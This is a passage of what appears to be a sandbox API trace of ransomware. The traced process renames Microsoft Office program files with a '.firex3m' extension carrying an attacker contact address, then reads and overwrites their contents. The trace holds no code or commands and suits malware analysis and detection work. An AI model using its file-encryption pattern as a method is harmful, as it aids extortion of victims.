lpNumberOfBytesWritten=0x357ff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0164.639] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.639] WriteFile (in: hFile=0x620, lpBuffer=0x7148e97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7148e97*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.639] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.639] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.639] CloseHandle (hObject=0x620) returned 1 [0164.639] GetProcessHeap () returned 0x630000 [0164.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71417f8 | out: hHeap=0x630000) returned 1 [0164.640] GetProcessHeap () returned 0x630000 [0164.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7226220 | out: hHeap=0x630000) returned 1 [0164.640] GetProcessHeap () returned 0x630000 [0164.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0164.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x166ea6b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x166ea6b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28151e9b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x76c5, dwReserved0=0xc787496, dwReserved1=0x7226218, cFileName="Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYBASE~1.FIR")) returned 0x6d4ec0 [0164.640] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0164.640] Sleep (dwMilliseconds=0x1) [0165.605] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.605] GetProcessHeap () returned 0x630000 [0165.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc0) returned 0x707d3d0 [0165.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1027\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0166.854] CloseHandle (hObject=0x710) returned 1 [0166.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1027\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1027\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0173.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5480 [0173.747] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0173.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1027\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0173.748] GetProcessHeap () returned 0x630000 [0173.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0173.748] GetProcessHeap () returned 0x630000 [0173.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b7d8 [0173.748] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.748] ReadFile (in: hFile=0x710, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.375] GetProcessHeap () returned 0x630000 [0180.375] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0180.375] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.375] WriteFile (in: hFile=0x710, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.376] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.376] WriteFile (in: hFile=0x710, lpBuffer=0x7196bd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7196bd7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.376] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.376] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.377] CloseHandle (hObject=0x710) returned 1 [0180.377] GetProcessHeap () returned 0x630000 [0180.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0180.377] GetProcessHeap () returned 0x630000 [0180.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0180.377] GetProcessHeap () returned 0x630000 [0180.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0180.377] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3175cd84, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114e4, dwReserved0=0xc787496, dwReserved1=0x71803a0, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0180.377] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0180.377] Sleep (dwMilliseconds=0x1) [0182.430] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", len=0x4c | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx") returned 1 [0182.430] GetProcessHeap () returned 0x630000 [0182.430] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a70) returned 0x707d3d0 [0182.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0182.431] CloseHandle (hObject=0x4b8) returned 1 [0182.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc197, dwReserved0=0x6d, dwReserved1=0x0, cFileName="TelemetryDashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELEME~2.FIR")) returned 0x6d5440 [0182.432] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0182.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0182.432] GetProcessHeap () returned 0x630000 [0182.432] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73b5a60 [0182.433] GetProcessHeap () returned 0x630000 [0182.433] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73c0e90 [0182.433] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.433] ReadFile (in: hFile=0x4b8, lpBuffer=0x73b5a60, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5a60*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.912] GetProcessHeap () returned 0x630000 [0190.913] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0190.913] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.913] WriteFile (in: hFile=0x4b8, lpBuffer=0x73c0e90*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c0e90*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.914] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.914] WriteFile (in: hFile=0x4b8, lpBuffer=0x73cc28f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73cc28f*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.914] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.914] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.914] CloseHandle (hObject=0x4b8) returned 1 [0190.914] GetProcessHeap () returned 0x630000 [0190.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c0e90 | out: hHeap=0x630000) returned 1 [0190.914] GetProcessHeap () returned 0x630000 [0190.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b5a60 | out: hHeap=0x630000) returned 1 [0190.914] GetProcessHeap () returned 0x630000 [0190.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0190.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37bcc1f6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc1bb, dwReserved0=0xc787496, dwReserved1=0x73b5a58, cFileName="TelemetryDashboard.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELEME~2.FIR")) returned 0x6d4e40 [0190.915] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0190.915] Sleep (dwMilliseconds=0x1) [0192.338] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX", len=0x5a | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX") returned 1 [0192.338] GetProcessHeap () returned 0x630000 [0192.338] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45a4) returned 0x74656a8 [0192.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_m.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0195.470] CloseHandle (hObject=0x6d4) returned 1 [0195.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0195.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_m.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_m.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cce0ca, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x640075, dwReserved1=0x2e0065, cFileName="WORKFLOW_PROCESS_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~2.FIR")) returned 0x6d4e40 [0195.515] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0195.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_m.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0195.515] GetProcessHeap () returned 0x630000 [0195.515] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0195.516] GetProcessHeap () returned 0x630000 [0195.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0195.516] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.516] ReadFile (in: hFile=0x6d4, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0201.877] GetProcessHeap () returned 0x630000 [0201.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0201.877] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.877] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0201.878] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.878] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.878] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.878] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.878] CloseHandle (hObject=0x6d4) returned 1 [0201.878] GetProcessHeap () returned 0x630000 [0201.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0201.878] GetProcessHeap () returned 0x630000 [0201.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0201.882] GetProcessHeap () returned 0x630000 [0201.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0201.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cce0ca, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3e471151, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x197a6, dwReserved0=0xc787496, dwReserved1=0x71c0040, cFileName="WORKFLOW_PROCESS_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~2.FIR")) returned 0x6d5280 [0201.882] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.882] Sleep (dwMilliseconds=0x1) [0204.077] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV", len=0x66 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV") returned 1 [0204.077] GetProcessHeap () returned 0x630000 [0204.077] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c20) returned 0x7133a90 [0204.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0204.079] CloseHandle (hObject=0x414) returned 1 [0204.079] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0204.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0204.080] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, 